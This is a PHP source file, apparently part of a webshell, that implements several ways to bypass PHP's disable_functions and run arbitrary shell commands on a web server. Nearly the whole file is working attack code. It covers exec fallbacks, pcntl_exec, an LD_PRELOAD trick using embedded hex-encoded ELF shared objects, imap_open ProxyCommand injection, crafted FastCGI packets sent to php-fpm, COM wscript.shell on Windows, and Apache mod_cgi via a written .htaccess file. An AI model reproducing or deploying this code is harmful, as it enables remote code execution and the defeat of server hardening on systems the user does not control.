define(OS, 'Darwin');
}else{
define(OS, 'Linux');
}
unset($OS);

define(WRITE_DIR, sys_get_temp_dir() . DIRECTORY_SEPARATOR);
define(FAILURE, '3ee28fe1a60c95b89d29317f122c7021');

$disable_function_str = get_cfg_var("disable_functions");
$disable_function_arr = explode(",",$disable_function_str);

$vul_function_str = 'dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,error_log,mb_send_mail,putenv,ini_set,apache_setenv,symlink,link';
$vul_function_arr = explode(",", $vul_function_str);

$open_basedir = get_cfg_var("open_basedir");

$myscript = $_SERVER['PHP_SELF'];

$GLOBALS["system_so_x64"] = "7f454c4602010100000000000000000003003e0001000000c006000000000000400000000000000028140000000000000000000040003800060040001c001900010000000500000000000000000000000000000000000000000000000000000004090000000000000409000000000000000020000000000001000000060000000809000000000000080920000000000008092000000000005802000000000000600200000000000000002000000000000200000006000000280900000000000028092000000000002809200000000000c001000000000000c0010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050e57464040000008408000000000000840800000000000084080000000000001c000000000000001c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000040000001400000003000000474e550066bb9e247f3731670b5cdfd534ac53233e576aef00000000030000000d000000010000000600000088c22001001440090d0000000f000000110000004245d5ecbbe3927cd871581cb98df10eead3ef0e6d1287c2000000000000000000000000000000000000000000000000000000000000000003000900380600000000000000000000000000007d00000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000008b00000012000000000000000000000000000000000000009d00000021000000000000000000000000000000000000000100000020000000000000000000000000000000000000009e00000011000000000000000000000000000000000000006100000020000000000000000000000000000000000000009c0000001100000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000840000001200000000000000000000000000000000000000a600000010001600600b2000000000000000000000000000b900000010001700680b2000000000000000000000000000ad00000010001700600b20000000000000000000000000001000000012000900380600000000000000000000000000001600000012000c00600800000000000000000000000000007500000012000b00c0070000000000009d00000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573007072656c6f616400676574656e76007374727374720073797374656d006c6962632e736f2e36005f5f656e7669726f6e005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200000002000200000002000000020000000200020001000100010001000100010001000100920000001000000000000000751a690900000200be00000000000000080920000000000008000000000000009007000000000000180920000000000008000000000000005007000000000000580b2000000000000800000000000000580b200000000000100920000000000001000000120000000000000000000000e80a20000000000006000000030000000000000000000000f00a20000000000006000000060000000000000000000000f80a20000000000006000000070000000000000000000000000b20000000000006000000080000000000000000000000080b200000000000060000000a0000000000000000000000100b200000000000060000000b0000000000000000000000300b20000000000007000000020000000000000000000000380b20000000000007000000040000000000000000000000400b20000000000007000000060000000000000000000000480b200000000000070000000b0000000000000000000000500b200000000000070000000c00000000000000000000004883ec08488b05ad0420004885c07405e8430000004883c408c30000000000000000000000000000ff35ba042000ff25bc0420000f1f4000ff25ba0420006800000000e9e0ffffffff25b20420006801000000e9d0ffffffff25aa0420006802000000e9c0ffffffff25a20420006803000000e9b0ffffffff259a0420006804000000e9a0ffffff488d3d99042000488d0599042000554829f84889e54883f80e7615488b05060420004885c074095dffe0660f1f4400005dc366666666662e0f1f840000000000488d3d59042000488d3552042000554829fe4889e548c1fe034889f048c1e83f4801c648d1fe7418488b05d90320004885c0740c5dffe0660f1f8400000000005dc366666666662e0f1f840000000000803d0904200000752748833daf03200000554889e5740c488b3dea032000e82dffffffe848ffffff5dc605e003200001f3c366666666662e0f1f840000000000488d3d8901200048833f00750be95effffff660f1f440000488b05510320004885c074e9554889e5ffd05de940ffffff554889e54883ec10488d3d9a000000e89cfeffff488945f0c745fc00000000eb4f488b0510032000488b008b55fc4863d248c1e2034801d0488b00488d35740000004889c7e8a6feffff4885c0741d488b05e2022000488b008b55fc4863d248c1e2034801d0488b00c600008345fc01488b05c1022000488b008b55fc4863d248c1e2034801d0488b004885c07592488b45f04889c7e825feffffc9c30000004883ec084883c408c34556494c5f434d444c494e45004c445f5052454c4f414400000000011b033b1800000002000000dcfdffff340000003cffffff5c0000001400000000000000017a5200017810011b0c070890010000240000001c000000a0fdffff60000000000e10460e184a0f0b770880003f1a3b2a332422000000001c00000044000000d8feffff9d00000000410e108602430d0602980c0708000000000000000000009007000000000000000000000000000050070000000000000000000000000000010000000000000092000000000000000c0000000000000038060000000000000d000000000000006008000000000000190000000000000008092000000000001b0000000000000010000000000000001a0000000000000018092000000000001c000000000000000800000000000000f5feff6f00000000b8010000000000000500000000000000c0030000000000000600000000000000f8010000000000000a00000000000000ca000000000000000b0000000000000018000000000000000300000000000000180b20000000000002000000000000007800000000000000140000000000000007000000000000001700000000000000c0050000000000000700000000000000d0040000000000000800000000000000f00000000000000009000000000000001800000000000000feffff6f00000000b004000000000000ffffff6f000000000100000000000000f0ffff6f000000008a04000000000000f9ffff6f0000000003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000280920000000000000000000000000000000000000000000760600000000000086060000000000009606000000000000a606000000000000b606000000000000580b2000000000004743433a202844656269616e20342e392e322d31302b6465623875322920342e392e3200002e73796d746162002e737472746162002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e740000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200b80100000000000000000000000000000000000003000300f80100000000000000000000000000000000000003000400c003000000000000000000000000000000000000030005008a0400000000000000000000000000000000000003000600b00400000000000000000000000000000000000003000700d00400000000000000000000000000000000000003000800c00500000000000000000000000000000000000003000900380600000000000000000000000000000000000003000a00600600000000000000000000000000000000000003000b00c00600000000000000000000000000000000000003000c00600800000000000000000000000000000000000003000d00690800000000000000000000000000000000000003000e00840800000000000000000000000000000000000003000f00a00800000000000000000000000000000000000003001000080920000000000000000000000000000000000003001100180920000000000000000000000000000000000003001200200920000000000000000000000000000000000003001300280920000000000000000000000000000000000003001400e80a20000000000000000000000000000000000003001500180b20000000000000000000000000000000000003001600580b20000000000000000000000000000000000003001700600b2000000000000000000000000000000000000300180000000000000000000000000000000000010000000400f1ff000000000000000000000000000000000c00000001001200200920000000000000000000000000001900000002000b00c00600000000000000000000000000002e00000002000b00000700000000000000000000000000004100000002000b00500700000000000000000000000000005700000001001700600b20000000000001000000000000006600000001001100180920000000000000000000000000008d00000002000b0090070000000000000000000000000000990000000100100008092000000000000000000000000000b80000000400f1ff00000000000000000000000000000000010000000400f1ff00000000000000000000000000000000cd00000001000f0000090000000000000000000000000000db0000000100120020092000000000000000000000000000000000000400f1ff00000000000000000000000000000000e700000001001600580b2000000000000000000000000000f40000000100130028092000000000000000000000000000fd00000001001600600b20000000000000000000000000000901000001001500180b20000000000000000000000000001f01000012000000000000000000000000000000000000003301000020000000000000000000000000000000000000004f01000010001600600b20000000000000000000000000005601000012000c00600800000000000000000000000000005c01000012000000000000000000000000000000000000007001000020000000000000000000000000000000000000007f01000011000000000000000000000000000000000000009401000010001700680b20000000000000000000000000009901000010001700600b2000000000000000000000000000a501000012000b00c0070000000000009d00000000000000ad0100002000000000000000000000000000000000000000c10100001100000000000000000000000000000000000000d80100002000000000000000000000000000000000000000f201000022000000000000000000000000000000000000000e02000012000900380600000000000000000000000000001402000012000000000000000000000000000000000000000063727473747566662e63005f5f4a43525f4c4953545f5f00646572656769737465725f746d5f636c6f6e65730072656769737465725f746d5f636c6f6e6573005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d706c657465642e36363730005f5f646f5f676c6f62616c5f64746f72735f6175785f66696e695f61727261795f656e747279006672616d655f64756d6d79005f5f6672616d655f64756d6d795f696e69745f61727261795f656e747279006279706173735f64697361626c6566756e632e63005f5f4652414d455f454e445f5f005f5f4a43525f454e445f5f005f5f64736f5f68616e646c65005f44594e414d4943005f5f544d435f454e445f5f005f474c4f42414c5f4f46465345545f5441424c455f00676574656e764040474c4942435f322e322e35005f49544d5f64657265676973746572544d436c6f6e655461626c65005f6564617461005f66696e690073797374656d4040474c4942435f322e322e35005f5f676d6f6e5f73746172745f5f00656e7669726f6e4040474c4942435f322e322e35005f656e64005f5f6273735f7374617274007072656c6f6164005f4a765f5265676973746572436c6173736573005f5f656e7669726f6e4040474c4942435f322e322e35005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a654040474c4942435f322e322e35005f696e6974007374727374724040474c4942435f322e322e3500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002e000000f6ffff6f0200000000000000b801000000000000b8010000000000003c00000000000000030000000000000008000000000000000000000000000000380000000b0000000200000000000000f801000000000000f801000000000000c80100000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000c003000000000000c003000000000000ca0000000000000000000000000000000100000000000000000000000000000048000000ffffff6f02000000000000008a040000000000008a04000000000000260000000000000003000000000000000200000000000000020000000000000055000000feffff6f0200000000000000b004000000000000b004000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000d004000000000000d004000000000000f0000000000000000300000000000000080000000000000018000000000000006e000000040000004200000000000000c005000000000000c0050000000000007800000000000000030000000a0000000800000000000000180000000000000078000000010000000600000000000000380600000000000038060000000000001a00000000000000000000000000000004000000000000000000000000000000730000000100000006000000000000006006000000000000600600000000000060000000000000000000000000000000100000000000000010000000000000007e000000010000000600000000000000c006000000000000c0060000000000009d01000000000000000000000000000010000000000000000000000000000000840000000100000006000000000000006008000000000000600800000000000009000000000000000000000000000000040000000000000000000000000000008a00000001000000020000000000000069080000000000006908000000000000180000000000000000000000000000000100000000000000000000000000000092000000010000000200000000000000840800000000000084080000000000001c00000000000000000000000000000004000000000000000000000000000000a0000000010000000200000000000000a008000000000000a0080000000000006400000000000000000000000000000008000000000000000000000000000000aa0000000e0000000300000000000000080920000000000008090000000000001000000000000000000000000000000008000000000000000000000000000000b60000000f0000000300000000000000180920000000000018090000000000000800000000000000000000000000000008000000000000000000000000000000c2000000010000000300000000000000200920000000000020090000000000000800000000000000000000000000000008000000000000000000000000000000c700000006000000030000000000000028092000000000002809000000000000c001000000000000040000000000000008000000000000001000000000000000d0000000010000000300000000000000e80a200000000000e80a0000000000003000000000000000000000000000000008000000000000000800000000000000d5000000010000000300000000000000180b200000000000180b0000000000004000000000000000000000000000000008000000000000000800000000000000de000000010000000300000000000000580b200000000000580b0000000000000800000000000000000000000000000008000000000000000000000000000000e4000000080000000300000000000000600b200000000000600b0000000000000800000000000000000000000000000001000000000000000000000000000000e90000000100000030000000000000000000000000000000600b0000000000002400000000000000000000000000000001000000000000000100000000000000110000000300000000000000000000000000000000000000840b000000000000f200000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000780c00000000000088050000000000001b0000002b0000000800000000000000180000000000000009000000030000000000000000000000000000000000000000120000000000002802000000000000000000000000000001000000000000000000000000000000";
$GLOBALS["system_so_x32"] = "7f454c4601010100000000000000000003000300010000001004000034000000080800000000000034002000050028001b00180001000000000000000000000000000000f0050000f0050000050000000010000001000000f0050000f0150000f01500000c010000140100000600000000100000020000000c0600000c1600000c160000c0000000c0000000060000000400000004000000d4000000d4000000d40000002400000024000000040000000400000051e5746400000000000000000000000000000000000000000600000004000000040000001400000003000000474e550046274bfc049fbd2fbee3fc9508888b1312b57aab030000000a00000002000000060000008800200100d640090a0000000c0000000e000000bae3927c4345d5ecd871581cb98df10e6c1287c2ebd3ef0e00000000000000000000000000000000010000000000000000000000200000002b0000000000000000000000200000004700000000000000000000001200000055000000000000000000000012000000680000000000000000000000110000004e00000000000000000000001200000067000000000000000000000021000000660000000000000000000000110000001c0000000000000000000000220000008300000004170000000000001000f1ff70000000fc160000000000001000f1ff77000000fc160000000000001000f1ff100000007c03000000000000120009003f000000e00400009400000012000b0016000000b80500000000000012000c00005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573007072656c6f616400676574656e76007374727374720073797374656d006c6962632e736f2e36005f5f656e7669726f6e005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e300000000000000002000200020002000200020003000100010001000100010001000000010002005c0000001000000000000000731f69090000030088000000100000001069690d0000020094000000000000000816000008000000f4150000010e0000cc16000006010000d016000006020000d416000006050000d816000006090000e816000007010000ec16000007030000f016000007040000f416000007060000f8160000070900005589e55383ec04e8000000005b81c3541300008b93f0ffffff85d27405e81e000000e8fd000000e8d8010000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffffffa3140000006810000000e9c0ffffffffa3180000006818000000e9b0ffffffffa31c0000006820000000e9a0ffffff000000005589e55653e8bf00000081c3c21200008d6424f080bb2000000000755c8b83fcffffff85c0740e8d832cffffff890424e8b7ffffff8db324ffffff8d9320ffffff29d68b8324000000c1fe0283ee0139f0731f908d74260083c001898324000000ff948320ffffff8b832400000039f072e6c68320000000018d6424105b5e5dc3eb0d909090909090909090909090905589e553e83000000081c3331200008d6424ec8b9328ffffff85d274158b83f4ffffff85c0740b8d9328ffffff891424ffd08d6424145b5dc38b1c24c39090905589e55383ec24e8edffffff81c3f01100008d83f8eeffff890424e8ccfeffff8945f0c745f400000000eb418b83f8ffffff8b008b55f4c1e20201d08b008d9305efffff89542404890424e8bcfeffff85c074158b83f8ffffff8b008b55f4c1e20201d08b00c600008345f4018b83f8ffffff8b008b55f4c1e20201d08b0085c075a98b45f0890424e86efeffff83c4245b5dc39090909090909090909090905589e55653e84fffffff81c3521100008b8318ffffff83f8ff74198db318ffffff8db426000000008d76fcffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c318110000e840feffff595bc9c34556494c5f434d444c494e45004c445f5052454c4f41440000000000ffffffff0000000000000000ffffffff000000000000000008160000010000005c0000000c0000007c0300000d000000b8050000f5feff6ff8000000050000003402000006000000340100000a0000009e0000000b0000001000000003000000dc160000020000002800000014000000110000001700000054030000110000002403000012000000300000001300000008000000feffff6ff4020000ffffff6f01000000f0ffff6fd2020000faffff6f0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c1600000000000000000000c2030000d2030000e2030000f2030000020400004743433a2028474e552920342e342e3720323031323033313320285265642048617420342e342e372d32332900002e73796d746162002e737472746162002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000001b0000000700000002000000d4000000d400000024000000000000000000000004000000000000002e000000f6ffff6f02000000f8000000f80000003c00000003000000000000000400000004000000380000000b000000020000003401000034010000000100000400000001000000040000001000000040000000030000000200000034020000340200009e0000000000000000000000010000000000000048000000ffffff6f02000000d2020000d2020000200000000300000000000000020000000200000055000000feffff6f02000000f4020000f40200003000000004000000010000000400000000000000640000000900000002000000240300002403000030000000030000000000000004000000080000006d0000000900000002000000540300005403000028000000030000000a00000004000000080000007600000001000000060000007c0300007c0300003000000000000000000000000400000000000000710000000100000006000000ac030000ac03000060000000000000000000000004000000040000007c00000001000000060000001004000010040000a801000000000000000000001000000000000000820000000100000006000000b8050000b80500001c00000000000000000000000400000000000000880000000100000002000000d4050000d40500001800000000000000000000000100000000000000900000000100000002000000ec050000ec05000004000000000000000000000004000000000000009a0000000100000003000000f0150000f00500000c00000000000000000000000400000000000000a10000000100000003000000fc150000fc0500000800000000000000000000000400000000000000a8000000010000000300000004160000040600000400000000000000000000000400000000000000ad000000010000000300000008160000080600000400000000000000000000000400000000000000ba00000006000000030000000c1600000c060000c000000004000000000000000400000008000000c30000000100000003000000cc160000cc0600001000000000000000000000000400000004000000c80000000100000003000000dc160000dc0600002000000000000000000000000400000004000000d10000000800000003000000fc160000fc0600000800000000000000000000000400000000000000d6000000010000003000000000000000fc0600002d000000000000000000000001000000010000001100000003000000000000000000000029070000df0000000000000000000000010000000000000001000000020000000000000000000000400c0000900300001a0000002b000000040000001000000009000000030000000000000000000000d00f0000df010000000000000000000001000000000000000000000000000000000000000000000000000000d4000000000000000300010000000000f80000000000000003000200000000003401000000000000030003000000000034020000000000000300040000000000d2020000000000000300050000000000f402000000000000030006000000000024030000000000000300070000000000540300000000000003000800000000007c030000000000000300090000000000ac0300000000000003000a0000000000100400000000000003000b0000000000b80500000000000003000c0000000000d40500000000000003000d0000000000ec0500000000000003000e0000000000f01500000000000003000f0000000000fc15000000000000030010000000000004160000000000000300110000000000081600000000000003001200000000000c160000000000000300130000000000cc160000000000000300140000000000dc160000000000000300150000000000fc1600000000000003001600000000000000000000000000030017000100000000000000000000000400f1ff0c000000f01500000000000001000f001a000000fc15000000000000010010002800000004160000000000000100110035000000100400000000000002000b004b000000fc16000001000000010016005a00000000170000040000000100160068000000a00400000000000002000b000100000000000000000000000400f1ff74000000f81500000000000001000f0081000000ec0500000000000001000e008f0000000416000000000000010011009b000000800500000000000002000b00b100000000000000000000000400f1ffc6000000dc160000000000000100f1ffdc000000081600000000000001001200e9000000001600000000000001001000f6000000d90400000000000002000b000d0100000c160000000000000100f1ff16010000e00400009400000012000b001e0100000000000000000000200000002d0100000000000000000000200000004101000000000000000000001200000053010000b80500000000000012000c00590100000000000000000000120000006b0100000000000000000000110000007e01000000000000000000001200000090010000fc160000000000001000f1ff9c01000004170000000000001000f1ffa1010000000000000000000011000000b6010000fc160000000000001000f1ffbd010000000000000000000022000000d90100007c03000000000000120009000063727473747566662e63005f5f43544f525f4c4953545f5f005f5f44544f525f4c4953545f5f005f5f4a43525f4c4953545f5f005f5f646f5f676c6f62616c5f64746f72735f61757800636f6d706c657465642e353938360064746f725f6964782e35393838006672616d655f64756d6d79005f5f43544f525f454e445f5f005f5f4652414d455f454e445f5f005f5f4a43525f454e445f5f005f5f646f5f676c6f62616c5f63746f72735f617578006279706173735f64697361626c6566756e632e63005f474c4f42414c5f4f46465345545f5441424c455f005f5f64736f5f68616e646c65005f5f44544f525f454e445f5f005f5f693638362e6765745f70635f7468756e6b2e6278005f44594e414d4943007072656c6f6164005f5f676d6f6e5f73746172745f5f005f4a765f5265676973746572436c617373657300676574656e764040474c4942435f322e30005f66696e690073797374656d4040474c4942435f322e3000656e7669726f6e4040474c4942435f322e30007374727374724040474c4942435f322e30005f5f6273735f7374617274005f656e64005f5f656e7669726f6e4040474c4942435f322e30005f6564617461005f5f6378615f66696e616c697a654040474c4942435f322e312e33005f696e697400";

$GLOBALS["php_so_x64"] = "";
$GLOBALS["php_so_x32"] = "";

//$plugin_func_arr = array(
// "common_exec_cmd" => array("exec", "shell_exec", "system", "passthru", "popen", "proc_open"),
// "load_so" => array("dl"),
// "ld_preload_so" => array("mail", "error_log", "imap_mail", "mb_send_mail"),
// "shellshock" => array("mail"),
// "apache_mod_cgi" => array(),
// "imagick" => array(),
// "pwn" => array(),
//);

echo "Temp Dir:" . WRITE_DIR . "<br>";
echo "Arch: " . ARCH . "; OS: " . OS . "<br><br>";

foreach ($vul_function_arr as $func) {
if (function_exists($func)){
echo "<font style='color: red'>Exist: ".$func."</font><br>";
} else {
echo "no exist: ".$func."<br>";
}
}

function read_file($filename){
if(function_exists('file_get_contents')){
return file_get_contents($filename);
} elseif (function_exists('fopen') && function_exists('fread')){
$handle = fopen($filename, 'r');
$content = '';
while(!feof($handle)){
$content .= fread($handle, 1000);
}
fclose($handle);
return $content;
} else {
echo "no read function";
return;
}
}

function write_file($filename, $content, $model="w"){
if (function_exists('file_put_contents')) {
file_put_contents($filename, $content);
} else {
echo "no write function";
return;
}
}

function random_str($len = 8) {
$s = '';
for ($i = 0; $i < $len; $i++) {
$s .= chr(mt_rand(33, 126));
}
return $s;
}

function is_x64() {
$int = "9223372036854775807";
$int = intval($int);
if ($int == 9223372036854775807) {
return true;
}
elseif ($int == 2147483647) {
return false;
}
else {
return "error";
}
}

function trans_cmd($cmd, $outfile){
if (OS == 'Windows'){
$cmd = $cmd . " > " . $outfile;
}else{
$cmd = $cmd . " > " . $outfile . " 2>&1";
}
return $cmd;
}

function send_cmd_to_file($cmd, $file = 'cmd', $result = 'result') {
$outfile = WRITE_DIR . $result;
$cmdfile = WRITE_DIR . $file;

$cmd = trans_cmd($cmd, $outfile);

write_file($cmdfile, $cmd);
return array(
$cmdfile,
$outfile
);
}

function send_cmd($cmd, $result = 'result') {
$outfile = WRITE_DIR . $result;

$cmd = trans_cmd($cmd, $outfile);

return array(
$cmd,
$outfile
);
}

function recv_result($result = 'result') {
$ret = read_file($result);
@unlink($result);
return $ret;
}

function send_socket($data, $host, $port=9000) {
if ( function_exists('stream_socket_client') ) {
if (strpos($host,'unix://') !== false) {
$client = $host;
} else {
$client = 'tcp://' . $host . ':' . $port;
}

$fp = stream_socket_client($client);
} elseif (function_exists('fsockopen')) {
$fp = fsockopen($host, $port, $errno, $errstr, 30);
} else {
return FAILURE;
}

if ($fp) {
$content = "";
fwrite($fp, $data);
while (!feof($fp)) {
$content .= fgets($fp, 4096);
}
fclose($fp);
return $content;
} else {
return FAILURE;
}
}

/*
* 第一种: 常规绕过, 寻找漏掉的命令执行函数, 适用于winodws + linux
* exec、shell_exec、system、passthru、popen、proc_open
*/

function common_exec_cmd($cmd) {
$res = '';
if (function_exists('exec')) {
@exec($cmd, $res);
$res = join("\n", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cmd);
} elseif (function_exists('system')) {
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($f = @popen($cmd, "r"))) {
$res = '';
while (!@feof($f)) {$res .= @fread($f, 1024);}
@pclose($f);
} elseif (function_exists('proc_open')) {
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
if (is_resource($process)) {
fwrite($pipes[0], '$stdin');
fclose($pipes[0]);
$res = stream_get_contents($pipes[1]);
}else{
return FAILURE;
}
} else {
return FAILURE;
}
return $res;
}

/*
* 第二种: pcntl_exec绕过
*/

function pcntl_exec_cmd($cmd) {
if (function_exists('pcntl_exec')) {
$cmd_arr = send_cmd_to_file($cmd, 'cmd.sh');
pcntl_exec("/bin/bash", array($cmd_arr[0]));
return recv_result($cmd_arr[1]);
} else {
return FAILURE;
}
}

//echo pcntl_exec_cmd("id");

/*
* 第三种: ld_preload绕过: 仅限Linux
* mail、imap_mail、error_log、mb_send_mail
* From: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/
*/

function ld_preload_exec_cmd($cmd) {
$so_file = WRITE_DIR . 'system.so';

if (ARCH === 64) {
write_file($so_file, hex2bin($GLOBALS['system_so_x64']));
} else {
write_file($so_file, hex2bin($GLOBALS['system_so_x32']));
}

$cmd_arr = send_cmd($cmd, 'result');
putenv("EVIL_CMDLINE=" . $cmd_arr[0]);
putenv("LD_PRELOAD=" . $so_file);

if (function_exists('error_log')){
error_log("", 1, "example@example.com");
} elseif (function_exists('mail')){
mail("", "", "", "");
} elseif (function_exists('mb_send_mail')){
mb_send_mail("","","");
} elseif ((function_exists('imap_mail'))){
imap_mail("","","");
} else {
@unlink($so_file);
return FAILURE;
}

// del so file
@unlink($so_file);
return recv_result($cmd_arr[1]);
}

//echo ld_preload_exec_cmd($_GET['cmd']);

//$so_file = WRITE_DIR . 'system_x32.so';
//var_dump(bin2hex(read_file($so_file)));

/*
* 第四种: ld加载php扩展:
* ld
* https://github.com/Medicean/as_bypass_php_disable_functions
* https://github.com/AntSwordProject/ant_php_extension
*/

function dl_exec($cmd){
if(function_exists('dl')){
$so_file = WRITE_DIR . 'php.so';

if (ARCH === 64) {
write_file($so_file, hex2bin($GLOBALS['php_so_x64']));
} else {
write_file($so_file, hex2bin($GLOBALS['php_so_x32']));
}

$so_file = "ant_x64.so";
dl($so_file);
$result = antsystem($cmd);

// del so file
@unlink($so_file);
return $result;
}else{
return FAILURE;
}
}

//echo dl_exec("id");

/*
* 第五种: imap_open: 仅限Linux
*/

function imap_open_exec($cmd){
if (function_exists('imap_open')) {
$cmd_arr = send_cmd($cmd);
$server = "x -oProxyCommand=echo\t" . base64_encode($cmd_arr[0]) . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
return recv_result($cmd_arr[1]);
}else{
return FAILURE;
}
}

/*
* FastCgi:
* 9000 port
* phpx.x-fpm.sock
*
* Fail: windows
*/

function p($ptr){
return bin2hex(chr($ptr));
}

function pnv($len){
if($len < 128){
return p($len);
}else{
return p(($len >> 24) |0x80) . p(($len >> 16) & 0xFF) . p(($len >> 8) & 0xFF) . p($len & 0xFF);
}
}

// 还需要更改具体的fastcgi参数, 目前能在linux下使用
//$host = 'unix:///run/php/php7.3-fpm.sock';
function fastcgi_exec($cmd, $file, $host, $port=9000){
if (strlen($cmd) > 40) {
echo "Bug: command len need < 40, will be fix.";
}

$cmd = base64_encode($cmd);
$php_code = '<?php system(base64_decode("'.$cmd.'"));exit();?>';

$php_code_len = strlen($php_code);
$php_code_pad = p(($php_code_len >> 8) & 0xFF) . p($php_code_len & 0xFF) . p(0) . p(0);

//$uri = bin2hex(__FILE__);
//$uri = '/var/www/html/shell.php';
$uri = $file;
$uri_val_pad = pnv(strlen($uri));

$params = '0e02434f4e54454e545f4c454e475448'.bin2hex($php_code_len).'0c10434f4e54454e545f545950456170706c69636174696f6e2f746578740b0452454d4f54455f504f5254393938350b095345525645525f4e414d456c6f63616c686f7374110b474154455741595f494e54455246414345466173744347492f312e300f0e5345525645525f534f4654574152457068702f66636769636c69656e740b0952454d4f54455f414444523132372e302e302e310f'.$uri_val_pad.'5343524950545f46494c454e414d45'.bin2hex($uri).'0b'.$uri_val_pad.'5343524950545f4e414d45'.bin2hex($uri).'091f5048505f56414c55456175746f5f70726570656e645f66696c65203d207068703a2f2f696e7075740e04524551554553545f4d4554484f44504f53540b025345525645525f504f525438300f085345525645525f50524f544f434f4c485454502f312e310c0051554552595f535452494e470f165048505f41444d494e5f56414c5545616c6c6f775f75726c5f696e636c756465203d204f6e0d01444f43554d454e545f524f4f542f0b095345525645525f414444523132372e302e302e310b'.$uri_val_pad.'524551554553545f555249'.bin2hex($uri);
$params_len = strlen(hex2bin($params));
$params_pad = p(($params_len >> 8) & 0xFF) . p($params_len & 0xFF) . p(0) . p(0);

$fastcgi_data = '01017b0700080000000100000000000001047b07'.$params_pad.$params.'01047b070000000001057b07'.$php_code_pad.bin2hex($php_code).'01057b0700000000';

$result = send_socket(hex2bin($fastcgi_data), $host, $port);
// if($result != FAILURE){
// $start = md5("s");;
// $end = md5("e");;
// $input = $result;
// $result = substr($input, strlen($start)+strpos($input, $start),(strlen($input) - strpos($input, $end))*(-1));
// }
return $result;
}

//var_dump(fastcgi_exec("id",'/var/www/html/shell.php' , '127.0.0.1', 9002));
//echo fastcgi_exec("id",'/var/www/html/ant.php' , 'unix:///run/php/php7.3-fpm.sock');
//var_dump(fastcgi_exec("whoami",'C:\\phpstudy2018\\PHPTutorial\\WWW\test\\apache\\1.php' , '127.0.0.1', 9000));

/*
* COM执行: 仅限windows
* work on:
* php 5.4.45
*
* *******
* fail:
* > php 5.5.38
*
*/

function com_exec($cmd){
$cmd = "cmd.exe /c ".$cmd;
$cmd_arr = send_cmd($cmd);

echo "执行时候会黑框, 需要时间; 如果有延时命令执行的时候特别需要注意一下。";

$wscript = new COM('wscript.shell');
$wscript->Run($cmd_arr[0]);

sleep(1);
return recv_result($cmd_arr[1]);
}

//echo com_exec($_GET['cmd']);

/*
* Apache mod-cgi: Windows && Linux
* 需要保证一个web目录可写可访问
*
* 注意备份htaccess
*/

function apache_cgi_exec($cmd, $dir='.'){
echo "由于是系统调用cmd执行后命令,会有一些延迟。请新建目录执行, 以免htaccess出问题导致本身shell不可访问。";
// check
// if(!in_array('mod_cgi', apache_get_modules()) && !empty($_SERVER['HTACCESS']) && is_writable($dir)){
// return FAILURE;
// }

$cmd_arr = send_cmd($cmd);
if(OS == "Windows") {
$shell_file = "bye.bat";
$htaccess = "ScriptInterpreterSource Registry-Strict\nAddHandler cgi-script .bat\nOptions +ExecCGI +FollowSymlinks";

$cmd_arr[0] = escapeshellcmd($cmd_arr[0]);
$content = "@echo off\necho Content-Type: text/html\nfor /F %%i in ('$cmd_arr[0]') do ( set result=%%i)";
} else {
$shell_file = "1.bylinux";
$htaccess = "Options +ExecCGI\nAddHandler cgi-script .bylinux";
$content = "#!/bin/bash\necho \"Content-Type: text/html\\n\\n\"\n" . $cmd_arr[0];
}

write_file('.htaccess', $htaccess);
write_file($shell_file, $content);

echo "<img src = '$shell_file' style = 'display:none;'>";
sleep(1);
echo recv_result($cmd_arr[1]);
}
